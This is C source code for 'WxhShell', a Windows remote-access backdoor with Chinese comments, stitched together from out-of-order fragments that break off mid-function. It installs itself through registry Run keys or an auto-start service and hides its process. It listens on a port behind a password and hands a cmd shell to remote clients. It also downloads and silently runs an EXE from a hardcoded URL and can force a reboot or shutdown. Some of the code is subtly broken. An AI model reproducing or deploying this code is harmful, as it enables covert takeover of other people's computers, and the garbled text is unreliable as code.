    if(Boot(SHUTDOWN)) h7EUIlh"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4\1wyN /}M  
    else { 7}d$*C  
    closesocket(wsh); 13.{Y)  
    ExitThread(0); xHv|ca.E  
    } }$|%/Y  
    break; $v:gBlj%"  
    } @1<omsl  
  // 获取shell KP=D! l&q  
  case 's': { v~V;+S=gz  
    CmdShell(wsh); tg7C;rJ  
    closesocket(wsh); gH i~nEH  
    ExitThread(0); .'5'0lR5  
    break; { r6]MS#l1  
  } NV8]#b  
  // 退出 ^91sl5c8yD  
  case 'x': { \;-=ODC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F2bm+0vOJ  
    CloseIt(wsh); ?eL='>Ne  
    break; #Rin*HL##  
    } S9G8aea/  
  // 离开 0W~.WkD  
  case 'q': { Z!wD~C"D73  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /rIm7FW)  
    closesocket(wsh); ^273l(CZ1  
    WSACleanup(); YO@hE>  
    exit(1); 6Cl+KcJH  
    break; cs K>iN  
        } \R86;9ov  
  } M[h 1>}$Lz  
  } <K.Bq]  
<TI3@9\qXE  
  // 提示信息 99F>n[5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 968Ac}OA  
} H9%l?r5  
  } <^ #P6  
`]K,'i{R  
  return; d@-wi%,^  
} "0|BoG  
1KW3l<v-6  
// shell模块句柄 r~)VGdB+  
int CmdShell(SOCKET sock) uyL72($  
{ U+4HG  
STARTUPINFO si; n<{aPLQ  
ZeroMemory(&si,sizeof(si)); H \r`7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dKU5;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8dc538:q}  
PROCESS_INFORMATION ProcessInfo; c`-YIz)W  
char cmdline[]="cmd"; XK1fHfCEa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "VV914*z  
  return 0; w3<Z?lj:  
} )nhfkW=e  
q;p.wEbr4U  
// 自身启动模式 -dl}_   
int StartFromService(void) /M 0 p_4  
{ ~Y% : 3  
typedef struct !{IC[g n  
{ :ezA+=ENg  
  DWORD ExitStatus; 9QX4R<"wUg  
  DWORD PebBaseAddress; _~ v-:w  
  DWORD AffinityMask; otU@X 3<_  
  DWORD BasePriority; ?3[tJreVj  
  ULONG UniqueProcessId; 9KXym }  
  ULONG InheritedFromUniqueProcessId; =Qyqfy*@D?  
}   PROCESS_BASIC_INFORMATION; ?F1wh2o q  
hPcS, p{%  
PROCNTQSIP NtQueryInformationProcess; [4Y[?)7  
VW{,:Ya  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?k"0w)8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6?O}Q7G  
oK)[p!D?0{  
  HANDLE             hProcess; &1=g A.ZR  
  PROCESS_BASIC_INFORMATION pbi; 1XCmM Z  
rmoJ =.'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2pz4rc  
  if(NULL == hInst ) return 0; B9}E {)T?  
!Pw$48cg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \Y9I~8\ gB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NK~PcdGl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J8J!#j.  
7g5@vYS+  
  if (!NtQueryInformationProcess) return 0; 4HW;  
0#<WOns1   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B.}cB'|  
  if(!hProcess) return 0; V#NtBreN  
rfX=*mjt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RYH)AS4w'  
`&H04x"Y$>  
  CloseHandle(hProcess); $5x]%1 R  
5\&]J7(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $]1qbE+  
if(hProcess==NULL) return 0; LaclC]yLU  
l:)S 3  
HMODULE hMod; J]dW1boT@  
char procName[255]; TywK\hH  
unsigned long cbNeeded; pD[pTMG@$  
$D}"k!H  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k&!6fZ)  
|WBZN1W)  
  CloseHandle(hProcess); 7/ t:YBR  
cN5"i0xk  
if(strstr(procName,"services")) return 1; // 以服务启动 *y?[ <2"$  
F*,5\s<  
  return 0; // 注册表启动 I )5<DZB9  
} ~pRs-  
\WX@PfL  
// 主模块 ~XKZXGw  
int StartWxhshell(LPSTR lpCmdLine) SwX@I6huM  
{ 8RU.}PD  
  SOCKET wsl; M|H 2kvl  
BOOL val=TRUE; i&*<lff  
  int port=0; `6}Yqh))  
  struct sockaddr_in door; ~5T$8^K  
<S&]$?`{Wi  
  if(wscfg.ws_autoins) Install(); ?9Ma^C;}  
(2tH"I  
port=atoi(lpCmdLine); F<gMUDB  
mqw 84u  
if(port<=0) port=wscfg.ws_port; M9DgO4xl  
_ ~[M+IO   
  WSADATA data; =|"= l1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2LC w*eT{)  
# M>wH`Q#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =+\$e1Mb*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _JA:.V^3gm  
  door.sin_family = AF_INET; -"tY{}z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tpGCrn2w>  
  door.sin_port = htons(port); .`+yo0O:  
x) 5LT}p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G AEZY  
closesocket(wsl); (0}j]p'w  
return 1; _*n)mlLln  
} R>HY:-2  
d'OGVN  
  if(listen(wsl,2) == INVALID_SOCKET) { M $uf:+F  
closesocket(wsl); U!Mf]3  
return 1; ~of,,&  
} [<S^c[47U  
  Wxhshell(wsl); $+jy/:]D  
  WSACleanup(); \Z'/+}^h  
}*Zo6{B-  
return 0; _Jy,yMQ^[_  
Eu4 &-i  
} 37jQ'O U  
GW8CaTf~  
// 以NT服务方式启动 $Elkhe]O %  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s~Gw  
{ IM]h*YV'  
DWORD   status = 0; Bq{ ]Eh0%  
  DWORD   specificError = 0xfffffff; Vd<K4Tk  
AK;^9b-}q:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z<h|#@\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =y<0UU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q)k{W>O  
  serviceStatus.dwWin32ExitCode     = 0; y@aKNWy}$  
  serviceStatus.dwServiceSpecificExitCode = 0; #Qsk}Gv  
  serviceStatus.dwCheckPoint       = 0; 7H#2WFQ7  
  serviceStatus.dwWaitHint       = 0; j.B>v\b_3  
3Y(9\}E@`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5{>>,pP&  
  if (hServiceStatusHandle==0) return; T]uKH29.%  
KC]tY9 FK  
status = GetLastError(); ThiN9! Y  
  if (status!=NO_ERROR) eo ?Oir)  
{ B.RRdK+:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -%i#j>  
    serviceStatus.dwCheckPoint       = 0; Q0WY$w1 <  
    serviceStatus.dwWaitHint       = 0; |(&oI(l5K  
    serviceStatus.dwWin32ExitCode     = status; +N8aq<l  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZMJ3NN]F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0O[l?e4,8{  
    return; k:mlt:  
  } ^}hZ'<PK  
]!J<,f7W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AA2ui%  
  serviceStatus.dwCheckPoint       = 0; *F|+2?a:$  
  serviceStatus.dwWaitHint       = 0; lz}llLb1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NnP.k7m)  
} #@E(<Pu4`  
P#v^"}.Wd  
// 处理NT服务事件,比如:启动、停止 /`}6rXnw9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?yf_Dt  
{ ng 9NE8F  
switch(fdwControl) T\fudmj&  
{ RQ|?Ce",  
case SERVICE_CONTROL_STOP: WAv@F[  
  serviceStatus.dwWin32ExitCode = 0; oc:x&`j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s&0*'^'O[S  
  serviceStatus.dwCheckPoint   = 0; /k) NP  
  serviceStatus.dwWaitHint     = 0; l@#b;M/  
  { @ct#s:t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W#V fX!~  
  } <ZV7|'^  
  return; 9\:w8M X'  
case SERVICE_CONTROL_PAUSE: O'fc/cvh='  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5c)wZ  
  break; Cc*|Zw  
case SERVICE_CONTROL_CONTINUE: &*jixqzvn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >pnz_MQ   
  break; K)Ge  
case SERVICE_CONTROL_INTERROGATE: E}t-N  
  break; "(N-h\7Ex9  
}; =^by0E2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F=V oFmF@  
} f!(cD80  
sY_fq.Z  
// 标准应用程序主函数 ^&HI +M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NXi ,5  
{ $sM]BE:  
a9L0f BRy  
// 获取操作系统版本 IG>>j}  
OsIsNt=GetOsVer(); {8_:4`YZ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 27$\sG|g  
~;` fC|)  
  // 从命令行安装 '&+Z,  
  if(strpbrk(lpCmdLine,"iI")) Install(); /1U,+g^O>  
lf}?!*V`+  
  // 下载执行文件 aL{EkiR  
if(wscfg.ws_downexe) { WI%zr2T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gr[D!D >  
  WinExec(wscfg.ws_filenam,SW_HIDE); jjNxatAN  
} 2~+'vi  
ud 5x$`  
if(!OsIsNt) { G6f %/m`  
// 如果时win9x,隐藏进程并且设置为注册表启动 #xDDh`  
HideProc(); A=y24m  
StartWxhshell(lpCmdLine); *'s&/vEy  
} U. NeK{  
else Q^\{Zg)p  
  if(StartFromService()) oVAOGHE  
  // 以服务方式启动 l@ (t^68OD  
  StartServiceCtrlDispatcher(DispatchTable); V>DXV-%&C  
else N.kuE=X  
  // 普通方式启动 `>$g y/N  
  StartWxhshell(lpCmdLine); -(`K7T>D.  
K%o6hBlk_  
return 0; 3ZLr"O1l)  
}  eYPt  
a>#d=.  
i+kFL$N  
zS#f%{   
=========================================== Nu>sp,|A  
o%y+Y;|?J  
uMljH@xBc  
{b\Y?t^>f  
rerUM*0  
wR`w@ 5,d  
" ^d5gz0d  
`HMligT  
#include <stdio.h> T9&,v<f  
#include <string.h> +Y_Q?/M@8  
#include <windows.h> p7?CeyZ-V  
#include <winsock2.h> v]UU&Jq8U  
#include <winsvc.h> 5x93+DkO\  
#include <urlmon.h> )of5229  
<ls i.x\y<  
#pragma comment (lib, "Ws2_32.lib") \rB/83[;u  
#pragma comment (lib, "urlmon.lib") -;W\f<q]  
][T9IAn  
#define MAX_USER   100 // 最大客户端连接数 )j)y5_m  
#define BUF_SOCK   200 // sock buffer *)}Ap4[  
#define KEY_BUFF   255 // 输入 buffer R(n0!h4  
FcJ.)U  
#define REBOOT     0   // 重启 ,Jw\3T1V  
#define SHUTDOWN   1   // 关机 s~IA},F,\  
+qu@dU0\`|  
#define DEF_PORT   5000 // 监听端口 mYsuNTx!.  
dd @COP?  
#define REG_LEN     16   // 注册表键长度 Y'+F0IZ+  
#define SVC_LEN     80   // NT服务名长度 :c+a-Py $E  
8Pnqmjjj  
// 从dll定义API VLwJ6?.f'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @h z0:ezg:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PEwW*4Xo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hCOy\[2$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,i$(yx?  
<W^XSk  
// wxhshell配置信息 (pRy1DH~  
struct WSCFG { JXZ:Wg  
  int ws_port;         // 监听端口 f0fqDmn  
  char ws_passstr[REG_LEN]; // 口令 J T0,Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no s K$Sar  
  char ws_regname[REG_LEN]; // 注册表键名 tZc.%TU  
  char ws_svcname[REG_LEN]; // 服务名 0 6G[^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F~uA-g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v=yI#5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e5:l6`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6m;wO r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  +lf@O&w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b$$L]$q2  
Ow&'sR'CX  
}; UU:QK{{E  
dM@k(9|  
// default Wxhshell configuration Af! W K=  
struct WSCFG wscfg={DEF_PORT, VHXR)}  
    "xuhuanlingzhe", L}sm R,  
    1, $BO}D  
    "Wxhshell", lG^mW \ O  
    "Wxhshell", 3 v,ae7$U&  
            "WxhShell Service", -^nQ^Td=j  
    "Wrsky Windows CmdShell Service", m} F Ce  
    "Please Input Your Password: ", oT5rX ,8  
  1, \5L4*  
  "http://www.wrsky.com/wxhshell.exe", ]qP}\+:  
  "Wxhshell.exe" J|64b  
    }; G4`sRaT.  
"=5vgg3  
// 消息定义模块 =*)O80oaW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `a1R "A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #lVl?F+~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bU +eJU_%  
char *msg_ws_ext="\n\rExit."; HI`A;G]  
char *msg_ws_end="\n\rQuit."; ]C:Ifh~  
char *msg_ws_boot="\n\rReboot..."; -r2qIt  
char *msg_ws_poff="\n\rShutdown..."; cd%g]T)#1  
char *msg_ws_down="\n\rSave to "; 1X:whS5S  
4sD:J-c  
char *msg_ws_err="\n\rErr!"; qZ]VS/5A  
char *msg_ws_ok="\n\rOK!"; z(#hL-{c  
}T*xT>p^3  
char ExeFile[MAX_PATH]; `\FjO"  
int nUser = 0; 1Qe!  
HANDLE handles[MAX_USER]; RlPByG5K  
int OsIsNt; "l;8 O2;g  
YV!V9   
SERVICE_STATUS       serviceStatus; EQ`t:jc {  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V$F.`O!hfi  
\rnG 1o  
// 函数声明 q>oH(A  
int Install(void); xwp?2,<  
int Uninstall(void); G78j$ ^/0  
int DownloadFile(char *sURL, SOCKET wsh); vgp%;-p(  
int Boot(int flag); T-8nUo}i  
void HideProc(void); B91PlM.  
int GetOsVer(void); M[N.H9  
int Wxhshell(SOCKET wsl); ?{P6AF-xcf  
void TalkWithClient(void *cs); Lj1 @yokB  
int CmdShell(SOCKET sock); T[=cKYp8\  
int StartFromService(void); cQ ;Ry!$  
int StartWxhshell(LPSTR lpCmdLine); |(ju!&  
(eE}W~Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %~(i[Ur;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }? '9L:  
_Vf|F  
// 数据结构和表定义  wupD   
SERVICE_TABLE_ENTRY DispatchTable[] = IGV.0l  
{ (SVr>|Db  
{wscfg.ws_svcname, NTServiceMain}, O}!@28|3"  
{NULL, NULL} ^b. MR?9  
}; xyWdzc] (p  
Bzt`9lg  
// 自我安装 :Aiu!}\  
int Install(void) ,T[ +omo  
{ oT{yttSNo  
  char svExeFile[MAX_PATH]; C}EDl2  
  HKEY key; r@UY$z  
  strcpy(svExeFile,ExeFile); C2i..iD  
l<%~w U  
// 如果是win9x系统,修改注册表设为自启动 uL AXN  
if(!OsIsNt) { F;@&uXYgc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3(p6ak2lv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fOervo  
  RegCloseKey(key); 4x=Y9w0?8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <t@*[Aw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X6 :~Rjim*  
  RegCloseKey(key); =nZd"t'p|  
  return 0; vBnHG-5;P  
    } ha~s< I  
  } (.+n1)L?  
} l);8y5  
else { S6X<3L`FfH  
7E)7sd  
// 如果是NT以上系统,安装为系统服务 X6 cb#s0|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U# B  
if (schSCManager!=0) %;?3A#  
{ X#<Sv>c^  
  SC_HANDLE schService = CreateService !2Iwur u  
  ( 1zW6Pb  
  schSCManager, ^SCWT\E  
  wscfg.ws_svcname, nJg2O@mRJ  
  wscfg.ws_svcdisp, KVy5/A/8c  
  SERVICE_ALL_ACCESS, axOy~%%c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s$6#3%h  
  SERVICE_AUTO_START, KL`>mJo$  
  SERVICE_ERROR_NORMAL, fTgN2U  
  svExeFile, eO G%6C%a  
  NULL, :nEV/"#F  
  NULL, yG4MqR)J  
  NULL, $@wkQ%  
  NULL, rd{( E  
  NULL a-y5\x  
  ); V|7CYkB8  
  if (schService!=0) v%[mt` I  
  { !6C d.fpWL  
  CloseServiceHandle(schService); +Z*%,m=N(  
  CloseServiceHandle(schSCManager); DUr1s]+P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FU3B;Fn^Z(  
  strcat(svExeFile,wscfg.ws_svcname); ?2;G_P+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m Y0C7i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dz 2d`=`3  
  RegCloseKey(key); P0=F9`3wb  
  return 0; Ls{fCi/2F  
    } i$bBN$<b<  
  } i\G3 u#  
  CloseServiceHandle(schSCManager); Ui&$/%Z|  
} qQ_QF  
} 6wgOmyJx  
!A o?bs'  
return 1;  2Mda'T8  
} 9iE66N>z  
]'q<wPi  
// 自我卸载 =qRVKz  
int Uninstall(void) .$iIr:Tc>  
{ .w~USJ=X  
  HKEY key; G w[&P%  
1F|+4  
if(!OsIsNt) { %Y TIS*+0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ipe;%as#  
  RegDeleteValue(key,wscfg.ws_regname); d}Om?kn  
  RegCloseKey(key); \bfHGo=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6X7_QBC)  
  RegDeleteValue(key,wscfg.ws_regname); YaU A}0cW  
  RegCloseKey(key); d9(FwmE  
  return 0; z0sB*5VH  
  } U VT8TN-T  
} &%lhov  
} xph60T  
else { fVM%.`  
_$0Ix6y,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tx5L   
if (schSCManager!=0) 1;W>ceN"  
{ 'SmdU1]4BD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yl}Hr*  
  if (schService!=0) "{k3~epYaN  
  { 4jpF^&y7u^  
  if(DeleteService(schService)!=0) { kBzzi^cl  
  CloseServiceHandle(schService); >BX_Bou  
  CloseServiceHandle(schSCManager); r2G<::<zL  
  return 0; R|suBF3  
  } i]nE86.;  
  CloseServiceHandle(schService); luMNi^FQ  
  } II91Ia  
  CloseServiceHandle(schSCManager); dZW:Cf 9K  
} ^tv*I~>J!  
} =T$E lXwJ  
9YJb~tuZ73  
return 1; ld $`5!Z  
} t`AD9 H"\!  
O v-I2  
// 从指定url下载文件 g_=Q=y@,  
int DownloadFile(char *sURL, SOCKET wsh) ?]t8$^m,;  
{ [Ue>KG62=  
  HRESULT hr; P}5aN_v \  
char seps[]= "/"; ;Gi w7a)  
char *token; gDsZbmR  
char *file; #xc[)Y,W  
char myURL[MAX_PATH]; d^w_rL  
char myFILE[MAX_PATH]; AKpux,@xB  
c_iF S  
strcpy(myURL,sURL); BXdT;b"J(  
  token=strtok(myURL,seps); E|>I/!{u7`  
  while(token!=NULL) SBEJ@&iB~  
  { !hq7R]TC+  
    file=token; *f(}@U  
  token=strtok(NULL,seps); gor6c3i  
  } DirWe  
%S^`/Snv"  
GetCurrentDirectory(MAX_PATH,myFILE); 1)r1/0  
strcat(myFILE, "\\"); Pwq} ;+  
strcat(myFILE, file); w Bl=]BW!%  
  send(wsh,myFILE,strlen(myFILE),0); rN}^^9  
send(wsh,"...",3,0); T>c;q%A/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g9gyWz  
  if(hr==S_OK) <W?,n%  
return 0; L^=>)\R2$[  
else >$?Z&7Lv  
return 1; +z4NxR   
"-hgeQX  
} VHJr+BQ1K/  
dlW w=^  
// 系统电源模块 qg>i8V  
int Boot(int flag) $]Q_x?  
{ ?XHJCp;f  
  HANDLE hToken; %B~`bUHjq  
  TOKEN_PRIVILEGES tkp; q%JV"9,  
snyx$Qx(  
  if(OsIsNt) { vH?/YhH|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ht1 jrCe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |m=@;B|  
    tkp.PrivilegeCount = 1; C }!$'C|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H&GM q5)B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mV;7SBoT  
if(flag==REBOOT) { _|*j8v3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 97 1qr  
  return 0; l/TH"z(  
} [X-Q{c4  
else { &o?pZ(\C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }x%"Oq|2]x  
  return 0; v!x=fjr<  
} :dK%=j*ZK  
  } M0^r!f>O  
  else { 0 xPML}|V  
if(flag==REBOOT) { =^{^KHzIl3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <cl$?].RE!  
  return 0; 4gYP .h:,  
} LIR2B"3F  
else { >z( 6ADq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =B; )h  
  return 0; I&^?,Fyy<  
} "['YMhu_  
} HVC\(h,)i  
}$b/g  
return 1; *EotYT  
} [rQ#skf  
R+^/(Ws'<  
// win9x进程隐藏模块 VB[R!S=  
void HideProc(void) %D&FnTa  
{ E P<U:F  
1pc|]9B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (Q\w4?ci  
  if ( hKernel != NULL ) ag] nVE/  
  { #M_QSD}&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~ 9'64  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /R^!~J50  
    FreeLibrary(hKernel); /a]+xL  
  } t[#`%$% '  
d{YhKf#~  
return; 0ai4%=d-  
} N`#v"f<~Q  
ZkqC1u3  
// 获取操作系统版本 z muq4-.  
int GetOsVer(void) l ='lV]  
{ /0(4wZe~?  
  OSVERSIONINFO winfo; PY`V]|J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4h(aTbHaQ  
  GetVersionEx(&winfo); $bMeL7CN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A@`C<O ^  
  return 1; >+8mq]8^  
  else |px4a"  
  return 0; a8dR.  
} jP+4'O!s[  
'o5[ :=K  
// 客户端句柄模块 4}8Xoywi1  
int Wxhshell(SOCKET wsl) :s8,i$Ex  
{ m@jOIt!<  
  SOCKET wsh; z.{y VQE  
  struct sockaddr_in client; qHv W{0E  
  DWORD myID; 7\jH?Zi  
OxqP:kM  
  while(nUser<MAX_USER) `5x,N%9{  
{ gzw[^d  
  int nSize=sizeof(client); F.AO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9N9|hy  
  if(wsh==INVALID_SOCKET) return 1; /oWB7l&  
z?V> ST  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GTLlQy)'=  
if(handles[nUser]==0) 'X`\vTxB  
  closesocket(wsh); QI!:+8  
else p|W:;(  
  nUser++; K)^.96{/@  
  } 3fBq~Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ot v{#bB$  
s'/ug  
  return 0; `.><$F  
} bv|v9_i  
`GH6$\:  
// 关闭 socket cbS8~Xmj  
void CloseIt(SOCKET wsh)  E?%k  
{ M"~B_t,Nw  
closesocket(wsh); t-/%|@?D  
nUser--; GT'%HmQI  
ExitThread(0); .llAiv  
} s;$ eq);  
mB_ba1r  
// 客户端请求句柄 `t#C0  
void TalkWithClient(void *cs) zYH6+!VBH#  
{ ;9b?[G  
][TS|\\  
  SOCKET wsh=(SOCKET)cs; (A"oMnjWd  
  char pwd[SVC_LEN]; 3DgI.V6un  
  char cmd[KEY_BUFF]; =axi0q?}  
char chr[1]; >N44&W  
int i,j; -BNW\ ]}  
\QYs(nm?k  
  while (nUser < MAX_USER) { {*tewF)|  
-@AGQ+e  
if(wscfg.ws_passstr) { F5)Ta?3|"<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V8&%fxn+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >>&~;PG[  
  //ZeroMemory(pwd,KEY_BUFF); gNe{P~ $=  
      i=0; >YPfk=0f0  
  while(i<SVC_LEN) { v]vrD2L  
Z;lE-`Z*(F  
  // 设置超时 vE{QN<6T  
  fd_set FdRead; u;y1leG  
  struct timeval TimeOut; m|e!1_ :H  
  FD_ZERO(&FdRead);  M3u[E  
  FD_SET(wsh,&FdRead); ,ad~ 6.Z_)  
  TimeOut.tv_sec=8; iSHNt0Nl  
  TimeOut.tv_usec=0; Cc9<ABv?  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8=t?rA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vzs6YsA  
Jtc?p{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bxz{rR0XV  
  pwd=chr[0]; cLJ|VD7  
  if(chr[0]==0xd || chr[0]==0xa) { {hVSVx8ZL  
  pwd=0; :B)w0tVw  
  break; -.:1nI  
  } 7;c{lQOj}  
  i++; RrGS$<  
    } k|a{ |2p  
:|P"`j  
  // 如果是非法用户,关闭 socket : 8(~{<R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _d)w, ;m#  
} aU5t|S6  
Mm|HA@W^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vy6NH5Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '$l*FWOEal  
<S TwylL  
while(1) { T?E2;j0h'#  
5+giT5K*h  
  ZeroMemory(cmd,KEY_BUFF); NAHQ:$  
2{#*z%|z  
      // 自动支持客户端 telnet标准   T3wR0,  
  j=0;  Zna }h{  
  while(j<KEY_BUFF) { z{;W$SO 2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,T"(97"  
  cmd[j]=chr[0]; 5|Vb)QBv%  
  if(chr[0]==0xa || chr[0]==0xd) { G }TT-  
  cmd[j]=0; < _c84,[V  
  break; i8u9~F   
  } {n #  
  j++; g)xzy^2e  
    } v#=WdaNz  
]!0 BMZmf  
  // 下载文件 0Rrz   
  if(strstr(cmd,"http://")) { l.fNkLC#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eAm7*2  
  if(DownloadFile(cmd,wsh)) 5#q ^lL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>7tJ[s  
  else ojtcKw  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7s>d/F3*  
  } s13Iu#  
  else { ur9-F^$  
~8}"X] 4  
